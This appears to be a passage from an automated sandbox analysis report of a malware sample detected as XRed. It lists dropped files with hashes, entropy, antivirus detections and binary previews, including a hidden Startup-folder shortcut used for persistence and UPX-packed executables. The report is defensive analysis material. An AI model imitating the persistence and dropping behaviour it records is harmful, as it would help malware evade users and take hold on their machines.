Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="rfclOXOv4_8e7j2AGTAnQw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\us5pHt2.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267605425807621
Encrypted:	false
SSDEEP:	24:GgsF+0USU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+n+pAZewRDK4mW
MD5:	4D093F767270E0093B7674B0D1B12009
SHA1:	C49CA63737660CCF5698D0D7DE9943FE2BC35693
SHA-256:	9F2EF6E954BE9EF829CE65B01DF4E3FEC1538EA06FFE5F6093952D6904686115
SHA-512:	09C94028D95010C57444230BC9DF19C66252C46059725A5D1B02067FFAD7559C764B020300F047B8438FF2DDEDCD01F4D1A78E49115503B3FD7744EAD132DF52
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="e2LI3dIhuzXV0Vs6N3Gx6Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\vjog6mD.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.251364801457276
Encrypted:	false
SSDEEP:	24:GgsF+0+4USU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+L+pAZewRDK4mW
MD5:	8E5C4E6DA4C42D83194DFC2EDC6F9EBD
SHA1:	669AA1F948856D2992EDDF136BD3C02E3C25468A
SHA-256:	860A9D33102905D00DDEAEC5CCC2662EB294CAD4E4782EC0260C923647A6DBAD
SHA-512:	94F05F11E4CDA24A856039113484BD04C70131D7A8B6F4AD18DA47673EEDDC1C62F70499C2CA6B901BF3666FEBC3C456410B584D793685BD64017C9DAD3DE417
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="I4EPi_oZdErk0s5WhDwd_w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\voQzMb1.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272577839371883
Encrypted:	false
SSDEEP:	24:GgsF+0x3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+G+pAZewRDK4mW
MD5:	CBD98D7257C41D05AF52D02C1CC3BC31
SHA1:	50F33B3B2B02E6FC42918E63ED5F92886FB8F9CA
SHA-256:	4C209908FFE91A4CDAAD417B9545374B7B6E52152F6EE873270DE5D7A29B5D32
SHA-512:	28F82E8A6C817B634F9E3398080380805A8F29BF1D3579E568FF381ECD092BB092ED0B5A0D3ADE54B29C82439B96226628B27F046F9491CA623873339E291DE0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="bwcZeJjjfEFSLQP4tSM3Hg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\vxKGzbc.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	modified
Size (bytes):	1652
Entropy (8bit):	5.272346996684908
Encrypted:	false
SSDEEP:	24:GgsF+0vSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+E+pAZewRDK4mW
MD5:	88504A0FD12805C4142FAF663388BA0B
SHA1:	A4A09F9F6F5CFC17F323BAADB8F83DB171DAEB6B
SHA-256:	11ED57FC8EA8BF2A00CE3E0F674D469FF3DAFA5CF9F55F12AA2054C02CEC6D4E
SHA-512:	B92F9E3084072BF4068C9D4C9DB001766AEDAC34A2056A5654520C4E3D8406F5FCE6490D2324858463A978CADBEDF2BEE4ABD28258A5AC5143741E493E8616A8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="P4ypH8v7AHN8WMElejsZYw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\w3PN9Xe.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264783345450978
Encrypted:	false
SSDEEP:	24:GgsF+0FSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+W+pAZewRDK4mW
MD5:	1B5835B0BFAA436877C80339C649E5D2
SHA1:	BC60B1A3681429F0F2CBE3964612E29CE69065B5
SHA-256:	CFF00B96B7037AF1AE1D846E29A12D4A59796F3BC8D3000922DEBD27EE129FCE
SHA-512:	41BF83ADDFEA193F93199EB1DD4A0F6CD6AFB6B07209E76EFF7480CA9D21F0CDC087183479645DEC1C38AA08D4BA06AF07F7420CDD45739A320BA3C71B1EB136
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="mLA7FrhKBA626JbiAgCJ0w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\wKjejL1.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263016486132001
Encrypted:	false
SSDEEP:	24:GgsF+00SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+7+pAZewRDK4mW
MD5:	C2651A90E851F49961F1133923D17EE9
SHA1:	9BB56EA4DEF7498B86C7F64182161F7F0F163B77
SHA-256:	97BB84215CEAD3EDEAA603C0E627951965DC0A7B261563F3E4A92EEDF842F96F
SHA-512:	6CA818A66C712EBB92190FCC2068409A000FEFE8072E1BAA7402A976A6AD517C32030D89159015E647EFE246BF47CEF12798D901A74AC0D92B7BFDBC79013121
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Tfjk-aO0QwC9EZn7qKmYrw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\wz1eTW3.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.28186332847959
Encrypted:	false
SSDEEP:	24:GgsF+0jSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+w+pAZewRDK4mW
MD5:	CE853DE6EB18BEDD9297DA5D34F7A458
SHA1:	346E70CF6570F14240DE77F2BF9B976478689A42
SHA-256:	B8AF0AE3161A6E3A3D5293CCBEEB9513DA364656C4D2B621791FB529778B8607
SHA-512:	050ADC849B6AAB3408640CB7AE89052C8CF9E5D30E2BF835C15A3FCED82F73F76DD3428388906783FF52EE0B28157615549A6B719E49284BB421226F45989720
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GFLAjYftGMHCHWYqWpMGeQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\x8Qi8ex.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261261577570971
Encrypted:	false
SSDEEP:	24:GgsF+0jmSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+0m+pAZewRDK4mW
MD5:	7D49547DED2DD323896D66D10C238250
SHA1:	C6A054E64D92B25AD7839DC428CD927824488F8B
SHA-256:	3398EBF2971271E655676BB4E9767D6C3FA794BA654554C561B3AEC4E98DACFF
SHA-512:	58103755DB7AF8AA66A846714A4503CA1ABC9D490427A1DC1075E37394458683D9ED76EC39642393EF91FF66025DD60399F5C15106D516D03295003534E2D117
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="i5p2g9aQvOrFK6DS4atUqQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\x99o7HT.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259938592597488
Encrypted:	false
SSDEEP:	24:GgsF+0wZCSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+bC+pAZewRDK4mW
MD5:	817EA1770F5A2291813F06B58C3BA08F
SHA1:	EDE6C5C4AF2A62BB3FBDD735FF47074BD4E54873
SHA-256:	B5A412758FCC58247857955CF12DDAF99DBFFB122A2231CAA8835968EC9A615F
SHA-512:	0F2D33DA5B72337DEEFC1805F44DF9AFAE3ED950BAFA3297BC16D6E320FB68D936733DAF010E61C406E8441EF7F471461C3A3D11535EF7CD64BD738BF10360CE
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cLgoNXx7KNdR3C2WljRqrg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\z9pLMaW.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.271512842311815
Encrypted:	false
SSDEEP:	24:GgsF+0z2SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+p+pAZewRDK4mW
MD5:	EA6F04AF8CB106CE7FB33F7C08861D7E
SHA1:	5D2DC4681310C4DD7C61A94465E818B8DC579DD8
SHA-256:	78CDCB11381A887314593E1034A8C2EB4414E8FD72A775B14A82670F8FE8241C
SHA-512:	3290ABEDCAC9BAB0AB39651212718DB01E8A62DC8F793C7460BC4D536B41D02550D2B0DE2882729E545D2E95140F0D46E52A410892A7E0AD7C74D583C2AF189B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9DRhSMsvKOMWfHCfNlabLg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\zcflRbR.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269628600654548
Encrypted:	false
SSDEEP:	24:GgsF+0zSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+M+pAZewRDK4mW
MD5:	2EEBAE481A0E37ED8E151C9CBD1F43DA
SHA1:	8BFD8A4B1564927B86107B4A560F20A817F50739
SHA-256:	9A101F5EF27C7CA73C4300F85F490093E063A611DF19DAD1F629A15E8AD2F126
SHA-512:	B132B3B0868BEDE0CB4F99956F4CCB23EB6A3D0DBEDEEF94DE622D4939B7ED6F0E7AE8DEDD17617E19C4C6248DE43115DB8A6625F34D85E8F6C4CCD96605AF02
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="JO_Hfpg6jnT_WMYwHgBnfA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cbas.lnk

Download File

Process:	C:\Windows\wic.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Sat Nov 2 13:16:07 2024, mtime=Sat Nov 2 13:16:13 2024, atime=Sat Nov 2 12:00:35 2024, length=295424, window=hide
Category:	dropped
Size (bytes):	795
Entropy (8bit):	4.780602957967742
Encrypted:	false
SSDEEP:	24:8+52kaszxaOA9+WZ2+J2bMQdpOpGhmxG:8g2hsFaVjYMEXdpu0Q
MD5:	64C03FC25A3910E81DD3546B9F3AD9DC
SHA1:	91FAB936A1C333B2E8CE2E5F265AD70B391CC837
SHA-256:	8C510C1B0BF0150FDA99F7ECCA9D82D7671C9839CC719226B5F06E95BCF814AF
SHA-512:	205431CEC31F540C50D0694FAF917F0FCA845A9FAA1552BA80495CAAC21FF35F9B917C5B19A015A01CE7A1494F2FA4E4A7BB4381C1049599266FA8E3C84AB9D3
Malicious:	false
Preview:	L..................F.... ....".1-...}..1-.....4'-...............................P.O. .:i.....+00.../C:\...................V.1.....^Yey..Windows.@......OwHbYik....8.....................-...W.i.n.d.o.w.s.....Z.2.....bY.h .cbas.exe..B......bY.rbY.r.....R........................c.b.a.s...e.x.e.......B...............-.......A............e=(.....C:\Windows\cbas.exe........\.....\.....\.W.i.n.d.o.w.s.\.c.b.a.s...e.x.e...C.:.\.W.i.n.d.o.w.s.........$..................C..B..g..(.#....`.......X.......desktop-41g4k28..P....A....r.............).J..P....A....r.............).J.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.5.7.4.2.7.7.0.1.6.-.1.5.6.3.0.8.5.8.6.1.-.2.1.0.3.6.0.1.2.2.7.-.1.0.0.0.........9...1SPS..mD..pH.H@..=x.....h....H.....K.X..K..cf................

C:\Users\user\Desktop\._cache_1.exe

Download File

Process:	C:\Program Files (x86)\1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	59392
Entropy (8bit):	7.740813131636102
Encrypted:	false
SSDEEP:	1536:lagFhC7rPABRRelUuTBRTn+mqy8oxwRKVl3:laghCQBXeGwBgmN8HQVl
MD5:	AED710082D6986C6DCEED09D3A5EDCC6
SHA1:	02456D21CEF29BE4CB63004AEA6AA225A90FD882
SHA-256:	5CBE5888CD034B95B14F4AD7C63F84F9C9BC605558C5CC484E26C13F1978399E
SHA-512:	4BCCAB62E816E296BECD7318FF76D8FEFA1F1CD25BDFCFB092C4424F3CC37E9EDB46C90DAE78D364C4406C954EAF75A6E18B7499D51B164D1DDF0136E4F52050
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{..Y?...?...?...D...0.......=...P...4...P...=...?...<...]...4...?.......9=..:...9=..1.......>...Rich?...................PE..L....?s<..................... ...0.......@... ....@..........................@.............................................../....... ..............................................................................................................UPX0.....0..............................UPX1.........@......................@....rsrc.... ... ......................@......................................................................................................................................................................................................................................................................................................................................................................................3.91.UPX!....

C:\Users\user\Desktop\._cache_2.exe

Download File

Process:	C:\Program Files (x86)\2.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3873864
Entropy (8bit):	7.971668911555834
Encrypted:	false
SSDEEP:	98304:x6wcOBfKGSUjkO80kI//gmiklAV+vuGKiSB8zI9ShRbfVdsFWy:xiGtJkI/9JQ+vuziSXkfBdkD
MD5:	B7176450AEBB9572B34E875984456AC1
SHA1:	5D9D1824C5C235DCFC82E6E3AF48B63D70016393
SHA-256:	F78DCB1B389C99240BEFDE490F8C74D9C9487F54E1F523397AA056072003A4C2
SHA-512:	4C9ABA9B92972312C87D2B875246B22DAFCB49A0F519291FBA823CE57DD9282E25489A7CDDF7DFB432CAA921602DB6266B0E625AAE780845824F91CF48D8F85D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|.w.8..[8..[8..[s..Z5..[s..Z...[...[:..[...Z,..[...Z-..[...Z...[s..Z&..[s..Z9..[s..Z?..[8..[!..[...Z...[...Z9..[...[9..[...Z9..[Rich8..[................PE..L...!S5e...............!.....h.......2............@...................................<...@..........................h..4...4h..P....P...f............:..(.......)...0..T...................@1......h...@...............l...P].......................text...<........................... ..`.rdata..............................@..@.data................d..............@....didat.......@.......r..............@....rsrc....p...P...h...t..............@..@.reloc...).......*..................@..B........................................................................................................................................................................................................................................

C:\Users\user\Documents\GAOBCVIQIJ\QCFWYSKMHA.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\GAOBCVIQIJ\~$QCFWYSKMHA.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.5231029153786204
Encrypted:	false
SSDEEP:	3:WH25nJFV:WH2/
MD5:	FB5ABAA34A0BB284B640327B9745AAAC
SHA1:	7E1063A0F1DE0E83424399F104C1D3752BFAECDE
SHA-256:	12464C713EE2E0CBBDCF98FACF8AC034D34A9F4D221D7BB7A5C7D458AAEC0AF9
SHA-512:	0FB235A4475D72D9BB6A195F6DFE471152B91F6DE0967D4174298D0A3C228BFF0ED57F0A5F388833A7793BD90F6CA0D5A974D21D795938D8D96C079AB5D99294
Malicious:	false
Preview:	.user ..h.u.b.e.r.t. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\GAOBCVIQIJ\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.626509498726225
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9IMr:ansJ39LyjbJkQFMhmC+6GD9H
MD5:	00367A9FAA8069389A97267D772563E8
SHA1:	1C5301544B6B3FC11B71B6A2EBBD1D40F193619E
SHA-256:	2B451F3AE3ABEE380824404CDF795090102D57D7D369D861EC3BDA35528F2DF0
SHA-512:	D31767C02686D40BC60BC7439D9708EC6D67A904AF12A150650174BFCC0C432E3C5A3DCA87710EB06E2FE97903805B7C01949274F9C9DE3EA05187F4DF457EB5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
